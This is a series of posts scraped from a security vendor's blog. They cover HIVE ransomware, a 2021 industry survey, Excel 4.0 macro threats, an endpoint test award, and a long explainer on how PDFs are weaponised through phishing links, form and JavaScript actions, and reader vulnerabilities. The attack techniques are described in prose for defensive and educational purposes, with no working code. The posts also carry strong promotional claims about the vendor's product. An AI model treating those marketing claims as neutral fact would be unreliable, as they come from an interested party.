href="https://www.fiercehealthcare.com/tech/fbi-warns-healthcare-systems-hive-ransomware-following-memorial-health-system-attack">FBI is now warning healthcare systems</a> to prepare for similar attacks. As a part of the ransom process, HIVE drops a batch file called “Shadow.bat” which kills off all shadow copies then removes itself from the machine. This is designed to prevent system restoration. If your organization doesn’t have external backups, then you are reliant on the decryption utility to access your data.This ransomware also employs the same psychological tricks that AvosLocker uses by making cyber teams watch the encryption of all their files live via a command window as it happens. However, unlike AvosLocker, it completely kills off running applications like ProcMon and other analysis utilities.Complete Protection from HIVE Ransomware While every healthcare organization has taken thorough steps to ensure their security stacks offer protection against malware and other threats, healthcare security professionals need to employ tools that can stop these known threatsHealthcare organizations must adopt a prevention-first mindset to have complete protection from the threat of ransomware. When lives are on the line, a breach is not an acceptable event.Pictured below are the blocks of AvosLocker and HIVE as I dropped them on my secured VM.<img asset_uid="bltee6a63fe734629a2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltee6a63fe734629a2/618ef78d6e3250402c099b5c/image002_(1).png" width="614" style="width: 614px; height: auto;" max-width="614"/>

Healthcare vs. HIVE Ransomware: How to Protect Yourself

state-of-cybersecurity-2021

It should come as no surprise that ransomware and the increasing sophistication and frequency of never-before-seen threats is a top concern for cybersecurity leaders. This year has already been marked by a steady stream of highly disruptive attacks. Coupled with our new normal that involves remote work and widely distributed endpoints, cybersecurity professionals have no shortage of risks to assess and mitigate in their short and long-term planning.These are just a few of the key takeaways from new research presented by CSO in its recently released <a href="https://www.csoonline.com/article/3627274/cso-global-intelligence-report-the-state-of-cybersecurity-in-2021.html">Global Intelligence Report: The State of Cybersecurity in 2021</a>. This third-party research is based on a survey of 2,741 global security, IT, and business professionals, asking key questions related to their primary threat landscape concerns and how the evolving use of the cloud, artificial intelligence (AI), and zero trust models are being used to strengthen defenses.79% of respondents described the potential impact from financially motivated cybercrime, including ransomware, as critical or catastrophic.62% of organizations believe that a financially driven attack such as ransomware is likely over the next 12 months.One of the biggest takeaways from this year’s report is the sense that cybersecurity has reached a tipping point, where the risks associated with the ever-challenging threat landscape are moving from solely being the purview the security team, along with the broader IT organization, and have now become a key C-suite discussion point, drawing more and more attention from the highest levels of organizational leadership. Cybersecurity budgets are also increasing to meet the increased need for better protection.71% of organizations expect their security budget to increase this year.Breaches are so damaging to brand, business continuity, and revenue that business leaders are now beginning to treat their cybersecurity infrastructure with the criticality it has long deserved.According to the survey, organizations are updating security policies and controls to address remote and hybrid work models, yet key gaps remain.85% of the survey respondents are making security policy changes to accommodate new work-from-home models, which for many presented a newly increased attack surface.This is one the reasons why technologies such as Artificial Intelligence (AI) and the solutions that enable zero-trust security models are experiencing rapid uptake. However, lags in emerging technologies are still present in core people and process-focused areas.These findings echo the trends we have been seeing in the industry for some time and we share in these concerns. Our recent <a href="https://info.deepinstinct.com/en/tof/cyber-threat-report-2021?_ga=2.252394313.1379725778.1628518739-166100987.1623692953&_gac=1.191447640.1626292363.CjwKCAjwlrqHBhByEiwAnLmYUPaBuwE-Wir0_i-BKJakhKq4EGd951JEVYpbaiR2qrJs4Z4yW1pOGRoC-bQQAvD_BwE">Mid-Year Threat Report</a> shared that new models and attack strategies used by cybercriminals are increasingly lucrative, and the successes criminal gangs are having with high-profile ransomware attacks will only encourage more attacks of similar nature. As much as organizations are adopting new technology to enable productivity, they should also adopt a new security framework. Shifting into a new era of security means restoring faith in true prevention.The Deep Instinct advantage centers on leveraging a true prevention-first approach to cybersecurity, bringing unparalleled threat prevention to our customers to ensure peace of mind in the current state of cybersecurity.A copy of the full IDG research study CSO Global Intelligence Report: The State of Cybersecurity in 2021 can be downloaded <a href="https://images.idgesg.net/assets/2021/07/idg-cso-gir-final20july202021.pdf">here</a>.Survey Methodology
 IDG’s Global Intelligence Report on Cybersecurity was conducted to understand cybersecurity risk, challenges, policies, practices, and investments worldwide. Data was collected via a 26-question online survey in May and June 2021. There were 2,741 respondents in IT, security, and line-of-business positions across industries and around the world.

Re-Emphasizing Prevention in the Face of Sobering Security Realities

bh-deepinstinct-masks-blog.jpeg

Two of the year’s most significant cybersecurity conferences were held this past week in Las Vegas, making them the first in-person cybersecurity events in nearly two years. For someone who has been an active member of the cyber community for more than 20 years, the opportunity to re-engage with peers face-to-face and connect as a community was sorely missed and long overdue.The energy and content sharing was incredible despite a smaller turnout and we were all reminded of the extreme passion and esprit de corps that is unique to the cyber world. The collaboration and shared knowledge that comes from our live events always re-energizes us as we see what is possible in the ongoing fight against hackers and bad actors. Cybersecurity is not just about securing “your” network, protecting “your” environment, and testing and securing “your” applications. It’s about creating a safer, more resilient community together.Deep Instinct has taken this approach to heart since our founding in 2015 and we were proud to share research on a new, evolving threat vector involving legacy Excel 4.0 macros and their use in threat evasion at Def Con. The research, which was presented by Tal Leibovich, head of threat research at Deep Instinct, was covered by <a href="https://www.techrepublic.com/article/excel-is-still-a-security-headache-after-30-years-because-of-this-one-feature/">TechRepublic</a> as well – a terrific article and testament to the expertise of our entire research team.Excel 4.0 Macro (XL4) is a legacy scripting language supported in Microsoft Office since 1992. Its replacement is the more advanced scripting language, VBA. However, XL4 is still supported for backward compatibility reasons, leaving a security vulnerability in place for years. We’ve seen a significant rise in malware utilizing XL4 capabilities in just the past year and a half. These campaigns have started becoming ever more sophisticated and prevalent.<img asset_uid="bltb3031ec6e8fb995d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb3031ec6e8fb995d/61b38b10fc1766686e8bccc3/laptop-code.jpeg" width="586" height="auto" max-width="586"/>Deep Instinct threat researchers reported that these XL4-based threats utilize functions such as auto-open, auto-close, default password protection, and even shared findings of advanced obfuscation techniques, such as decoding the macro code in run-time. While some of these techniques are known, the majority of them are newly discovered based on research by Deep Instinct’s threat teams.Our team also showcased how the Deep Instinct Prevention Platform can identify and prevent these new malicious XL4 strains using our Anomaly Detection algorithms. Even if this malware family evolves and modifies its techniques, Deep instinct will adapt and stop these threats, providing continuous prevention capabilities that no other security solution on the market today can match.The threat landscape has grown exponentially over the past several years – and will continue to grow and change in the years to come. As the boundaries of your organization become less defined, with data stored and sent through cloud networks and across your hybrid environment and endpoints now spread around the globe with people working at home, in offices and everywhere in between, security solutions will have to continue to improve to protect across an ever-larger footprint.If you’d like to see how Deep Instinct can protect you from XL4-based threats, please <a href="/request-demo/" target="_self">request a demo</a>.

Black Hat 2021 + Def Con 29 – New Research on Excel 4.0 Macros

Deep Instinct Scores 100% In SE Labs Protection Category

SE-Labs-Blog.jpeg

Each quarter, industry-leading UK-based security testing consultancy <a href="https://selabs.uk/">SE Labs</a> tests and measures various anti-malware (aka ‘anti-virus’ or ‘Endpoint Security’) solutions to assess their effectiveness against cyber threats. The participants include many of the industry’s best-known vendors. Deep Instinct was asked to participate in the latest testing for the first time in the Q2 (April-June) 2021 <a href="https://selabs.uk/reports/enterprise-endpoint-protection-2021-q2/">Enterprise Endpoint Protection test</a>.Based on its performance across a series of criteria, SE Labs awarded Deep Instinct the highest level of validation, the AAA Award.Methodology and FindingsSE Labs approach to benchmarking is consistent each quarter and examines threats that affect the public, and more specifically, targets individuals and various organizations. SE Labs tests each solution using a combination of ‘public’ malware web-download attacks (75 samples) and targeted attacks (25 scenarios). SE Labs tests look specifically at Windows PCs and attacks that employ tactics that trick users into running malicious files or scripts.Deep Instinct was rated a maximum “100” in the overall Protection category, as our Deep Learning-powered D-Client delivered protection against all 100 threats. This result is in keeping with our “prevention-first” approach and commitment to delivering the world’s most advanced cybersecurity prevention solution to our customers and partners.Our false-positive (“efficiency”) warranty is the first and only one of its kind in the industry that commits to an incredibly low false-positive rate. As part of their evaluation, SE Labs checks “how accurately each vendor classifies legitimate applications and URLs, while also taking into account the interactions that each product has with the user. Ideally a product will either not classify a legitimate object or will classify it as safe.” Deep Instinct achieved a maximum 100 points score in this area. SE Labs noted that low false positive rate (RFR) was a strength for Deep Instinct, and we correctly classified legitimate applications and websites with no exceptions. This performance helped Deep Instinct achieve a 100% “Legitimate Accuracy Rating.”Unknown Threats – a Major Consideration CriteriaDeep Instinct excels at preventing unknown threats using its deep learning-based approach, which delivers far higher efficacy versus traditional AV or ML-based approaches. Our deep learning framework is based on a vast neural network that has been trained on hundreds of millions of files, allowing it to prevent threats autonomously and improve over time, preventing hard-to-detect threats with a high degree of accuracy and low FPR. It means the DNA of an unknown threat can be identified faster than any other approach—whether that threat vector is a PE file, a PDF, a fileless threat, or otherwise.This SE Labs report is an important third-party validation of Deep Instinct’s prevention efficacy, and we look forward to publishing further independent proof points over the coming months that further validate our leadership in the space.Want to read the full study? The SE Labs Enterprise Endpoint Protection Test report is available <a href="https://selabs.uk/reports/enterprise-endpoint-protection-2021-q2/">here</a> to view and download.

Deep Instinct Wins SE Labs AAA Award, Scores 100% in Protection Category

PDF As A Weapon Of Choice

Cybersecurity threat detection and response is a game of action and reaction. Cybercriminals endeavor to find creative new ways of misdirection and obfuscation. And security experts work tirelessly to identify, research, and develop new ways to guard against these threats.The weaponization of PDFs is one way bad actors have widened the cybersecurity battlefield, turning what many see as an innocuous file into something used for nefarious purposes.The Portable Document Format, or PDF, as it’s better known, was developed by Adobe in 1993 to allow anyone to view a complex document without the need for a dedicated program and independent of any particular platform. PDF files can be opened in any operating system and with any web browser – or via a PDF reader.Based on the <a href="https://en.wikipedia.org/wiki/PostScript">PostScript</a> language[<a href="#i">i</a>], a PDF can contain a variety of information, including text, hyperlinks, multimedia, images, attachments, metadata, and other data, making it a very detailed format. The PDF reference documentation that describes the potential of this very powerful and versatile file format contains more than 800 pages.In this blog we’ll look more closely at the PDF and a variety of ways cybercriminals are using it to fool detection and infiltrate networks. We’ll also show how Deep Instinct detects compromised PDFs, immediately disabling them from being opened.PDF StructurePDF is composed of 4 main sections: Header, Body, Xref table, and Trailer.Header A simple section that specifies the PDF file format and the version number, in our case 1.7 (the “%” sign in PDF specifies a comment)Body The PDF body contains all of the objects that represent the layout of a document, including images, fonts, pages, scripting code, and more.Cross-Reference (Xref) Table Just as the name suggests, this is a table of cross-references – a data structure that contains references (offsets) to objects (images, etc.) within the file, allowing the PDF reader to find any object at any time without the need to load the entire document into memory, and quickly navigate between pages.Trailer PDF reader will first look at the Trailer as it contains the necessary information for parsing the entire file. The most important keys are the offset to cross-reference table, the number of objects in the file, and the reference to the catalog (root) object. The catalog object is the first object in the Body hierarchy and defines how the document is displayed (the page-layout), the objects are outlined, and the content presented.Common Attack Vectors Now that we’ve reviewed how PDFs are architected, let’s examine how they are being compromised and used by cybercriminals.Similar to MS Office documents, PDF files have been in widespread use for many years now. Along with its popularity and due to the fact that it's a cross-platform format, PDF files are very appealing for threat actors and are used as an initial point of infection for victims.From a simple Phishing attack to a sophisticated exploit, PDF can be weaponized in many ways.Phishing When PDF became a popular document format, cybercriminals recognized an opportunity to use social engineering techniques to deliver Phishing PDFs.As with Office documents, email attachments have become the primary means of distribution.Other document types, such as Office files, have earned a bad reputation over the years because they’ve been widely exploited using various vulnerabilities and macros. PDFs have historically been viewed as a safer format and developed a reputation as being less dangerous due to less publicized breaches and actual threats seen in the wild.Phishing PDFs typically contain a link to an external URL that is designed to forward the user to one of these:<ul><li>Phishing site – (it could be a fake banking, dating site, or other e-commerce page) that encourages victims to enter their personal information which is sent to the attacker.</li><li>Traffic Direction Systems (TDS) – these systems are a web-based gateway designed to analyze a user’s machine to collect system data such as OS, geo-location, language, and more. Using TDS, an attacker can redirect the victim to various advertising websites or even to a malware infection page.</li><li>Malware infectionwebsite – these sites usually contain code that downloads a malicious file onto the victim’s machine.</li></ul>These methods are fairly simple and don’t require a very sophisticated attacker to carry them out.A common trend in recent years – a captcha picture with an embedded URL redirecting the victim to a phishing or unwanted ad website.Actions and JavaScript Most PDF users are aware of and use PDF editing capabilities. In fact, for many, this may be the extent to which they use PDFs. But there is also a feature called  "Actions" which can be used to preform a variety of tasks, including the following:<ul><li>Open a web link</li><li>Open a file</li><li>Run JavaScript code</li><li>Submit a form</li><li>… and other actions</li></ul>These actions are triggered by "Events." Common examples of such “Events” can include saving or closing the PDF, mouse clicking, and so on. A user can create a document that, when closed, will open a web page with a specific location.Some of the actions and triggers that can be created using Adobe Acrobat:<ul><li>SubmitForm – this action allows sending information via an interactive form template to a pre-defined remote location, using AcroForms or newer XML Forms Architecture (XFA)[<a href="#ii">ii</a>] from Adobe.</li><li>JavaScript – if fully supported by the PDF reader, JavaScript can be used to access and manipulate any part of the document. It has also been used to exploit various PDF readers’ vulnerabilities.</li><li>URL – victims can be tricked with various social engineering methods to follow the embedded URLs in an attempt to drop malware, commit phishing, or simply force victims into visiting sites with unwanted ads.</li></ul>In the figure below we can see a basic SubmitForm action that mimics an Amazon email and password form. An attacker can use social engineering to convince potential victims to fill out the form and then forward their credentials to a remote server.This type of plain attack, as with the phishing scams that we’ve seen before, can affect most PDF readers and browsers. These attacks rely on readers’ built-in features by design and will always work, if allowed by users, as opposed to the exploitation of vulnerabilities found in PDF readers.Action that mimics an Amazon form and the malicious code behind it.In addition to phishing, JavaScript can be used to submit filled forms information, as well as leveraged to perform powerful actions like issuing PowerShell commands or dropping a malicious file.Examples of popup messages warning the user of hidden JavaScript content.As we’ve seen, JavaScript can be used to exfiltrate data and/or run malicious code on the user’s machine, but it is also powerful enough to exploit potential vulnerabilities found in PDF readers.Exploits and vulnerabilities PDF documents can be viewed with browsers and PDF readers or dedicated applications for PDF files and each may have vulnerabilities threat actors can exploit.These vulnerabilities can be divided into several categories, including, but not limited to the following:<ul><li>Arbitrary code execution[<a href="#iii">iii</a>]</li><li>Buffer overflow[<a href="#iv">iv</a>]</li><li>Denial-of-service[<a href="#v">v</a>]</li><li>Memory corruption[<a href="#vi">vi</a>]</li><li>Out-of-bounds read</li></ul>Common Vulnerabilities and Exposures (CVE) is a listing of publicly known security weaknesses. There are hundreds of CVE for PDF readers[<a href="#vii">vii</a>] and almost 300 known vulnerabilities for Adobe Acrobat Reader alone[<a href="#viii">viii</a>].While companies update their products regularly, it is important to remember that there are still many “zero day”[<a href="#ix">ix</a>] vulnerabilities that haven’t been reported or discovered yet. Additionally, many users still use older and unpatched versions of PDF readers and browsers.Security researchers and threat actors find new PDF-related exploits almost daily, with “out-of-bounds read” vulnerabilities being one of the most common.An out-of-bounds read vulnerability occurs when a program tries to read data from before the beginning of a buffer or past its end. In computer science, a buffer is a segment of physical memory that stores temporary data so it can be utilized.This usually happens when a pointer of an arithmetic operation results in a position outside the bounds of allocated memory; this may cause the program to crush or corrupt the memory.An attacker can use this vulnerability to their advantage. By reading out-of-bounds memory addresses or secret values, the bad actor can gather information that may assist in achieving an exploitation of an unrelated weakness and execute an arbitrary code on a victim’s machine.Here is an example of this vulnerability seen exploited in the wild:CVE-2018-4893 – This vulnerability occurs as a result of computation that reads data that is past the end of the target buffer; the computation is part of XPS (XML Paper Specification)[<a href="#x">x</a>] font processing. Published in February 2018, this critical vulnerability is already three and a half years old at the time of this writing. Nevertheless, it is still being seen in the wild.Anti-Virus vendors vs Mal-PDF Distinguishing between a Phishing PDF and a legitimate one can be challenging. The example below shows just how similar both documents appear to be. They possess a very analogous structure – both consist of one page with little text and a hyperlink to click which redirects the user to a web page.Even next-gen antivirus vendors can struggle to accomplish this task. While the challenges to mitigate this vary by vendor, poor detection capabilities or poor identification and classification can lead to a high false-positive rate. Many antivirus vendors fail to correctly detect phishing PDFs.<div></div>Very similar PDF documents, a legitimate Booking invoice on the left compared to an Apple Phishing email on the right.The figure below is taken from a Phishing PDF[<a href="#xi">xi</a>] that attempts to persuade the user to review the document while redirecting to a fraudulent web page.The PDF was first submitted to Virus-Total on January 14, 2021. Not only was no vendor able to detect it, but this document was analyzed multiple times with zero detections on each analysis.We then dropped the sample in our lab station where our Deep Instinct agent was installed, and we received a popup which alerted us that a threat was detected. Any attempt to open the file was immediately disabled.ConclusionWe have discussed how PDF documents are structured and explained what type of actions are available when creating a file. We’ve seen how an attacker, by using custom JavaScript or built-in actions, can craft a PDF that will deliver a phishing or malware attack, or even use one of many vulnerabilities to exploit the platform and carry out an even more impactful attack.Furthermore, we’ve demonstrated how difficult it is to distinguish between a phishing attempt from a legitimate PDF, and how even next-gen antivirus vendors have a difficult time detecting these types of attacks.Deep Instinct secures its clients with a robust deep learning-based protection mechanism able to seamlessly prevent zero day threats in the form of PDF, PE, and other malicious files.If you’d like to hear more about our industry-leading approach to stopping malware, please <a href="/contact-us/" target="_self">contact us </a>and we’ll set up a demo.Referencesi<a href="https://en.wikipedia.org/wiki/PostScript">https://en.wikipedia.org/wiki/PostScript</a>ii<a href="https://pdf.wondershare.com/pdf-forms/acroforms-vs-xfa-forms.html">https://pdf.wondershare.com/pdf-forms/acroforms-vs-xfa-forms.html</a>iii<a href="https://en.wikipedia.org/wiki/Arbitrary_code_execution">https://en.wikipedia.org/wiki/Arbitrary_code_execution</a>iv<a href="https://en.wikipedia.org/wiki/Buffer_overflow">https://en.wikipedia.org/wiki/Buffer_overflow</a>v<a href="https://en.wikipedia.org/wiki/Denial-of-service_attack">https://en.wikipedia.org/wiki/Denial-of-service_attack</a>vi<a href="https://en.wikipedia.org/wiki/Memory_corruption">https://en.wikipedia.org/wiki/Memory_corruption</a>vii<a href="https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=pdf">https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=pdf</a>viii<a href="https://www.cvedetails.com/product/497/Adobe-Acrobat-Reader.html">https://www.cvedetails.com/product/497/Adobe-Acrobat-Reader.html</a>ix<a href="https://en.wikipedia.org/wiki/Zero-day_(computing)">https://en.wikipedia.org/wiki/Zero-day_(computing)</a>x<a href="https://www.pcmag.com/encyclopedia/term/xml-paper-specification">https://www.pcmag.com/encyclopedia/term/xml-paper-specification</a>xi be723a06cc6f25242bce9207aed5024dc15d8c5285be5755600bbdac456da7fb

PDF as a Weapon of Choice on the Cybersecurity Battlefield

Deep Instinct 2021 Mid Year Cyber Report Blog

mid-year-cyber-report

It’s usual at Deep Instinct to compile an annual Threat Report. However, this year has been exceptional for cyber threats, and as a result, we decided to create an interim version taking into consideration the last six months and our key observations. While shorter, many of the sections are consistent with the full-year report.In “Malware trends,” we explore an extended period (January 2020 through June 2021), and the arbitrary amount of new samples across malware campaigns such as Miner, Dropper, Spyware, Worm, and Backdoor. Unsurprisingly, ransomware is still the dominant trend.Ransomware has been a featured in major news headlines throughout 2021, and our “Ransomware campaigns” sections looks at the five leading threats such as STOP (Djvu), Ryuk, and Sodinokibi (REvil), which has been featured in many recent high-profile attacks. We dive into the key attributes of these and provide some wider context where possible.“Banking Trojan campaigns” looks at the successors to Emotet, such as Ramnit, Qbot, and IcedID. These and other campaigns have all had a significant impact on financial services and eCommerce, as these sectors battle with online banking fraud. We are also seeing the Dridex campaign enabling even cryptocurrency wallet credential theft – no matter what the currency or its format, every one of these is fair game for threat actors.“Takeaways” focuses on our key observations on the first six months of 2021. The global pandemic has sadly given cyber criminals multiple opportunities to exploit technology and human vulnerabilities. From phishing emails disguised as Pfizer, to healthcare institutions being specifically targeted, and the exploring of back doors in hastily developed COVID vaccination applications, the pandemic has gifted hackers with multiple opportunities to make the most of an extraordinary situation.Looking ahead to the rest of 2021, “Predictions” is always a topic of enthusiastic debate on our team, as we consider how the cyber threat landscape is likely to evolve. A key expectation we have is around the long-term implications of employees working from home, whether permanently or in a hybrid model. The absence of the classic perimeter within an office-based environment is a major game changer for the cybersecurity industry.The Colonial Pipeline attack made worldwide news, but it is just one of many attempts to hit mission-critical infrastructure, whether law enforcement, hospitals, education, or the energy and utility sectors. We do not expect to see this potentially lucrative and high-profile strategy changing anytime soon, and it forms one of our other major predictions.Want to know more about our findings? Download the <a href="https://info.deepinstinct.com/en/tof/cyber-threat-report-2021">report</a> and read the full analysis.

Announcing Deep Instinct Prevention for Storage for cloud storage and NAS environments

Blog

Recent Blog Posts

Why 20 Milliseconds Matters in Cybersecurity

Do Not Exchange! It has a Shell Inside.

Latest Voice of SecOps Report Shines Light on Post-COVID Global Security Impacts

LockBit 2.0 Ransomware Becomes LockFile Ransomware with a Never-Before-Seen Encryption Method

Healthcare vs. HIVE Ransomware: How to Protect Yourself

Re-Emphasizing Prevention in the Face of Sobering Security Realities

Black Hat 2021 + Def Con 29 – New Research on Excel 4.0 Macros

Deep Instinct Wins SE Labs AAA Award, Scores 100% in Protection Category

PDF as a Weapon of Choice on the Cybersecurity Battlefield

2021 Mid-Year Cyber Threat Landscape Report

Products

Why Deep Instinct

Enhance Existing Cyber Tools

Company

Resources

Quick links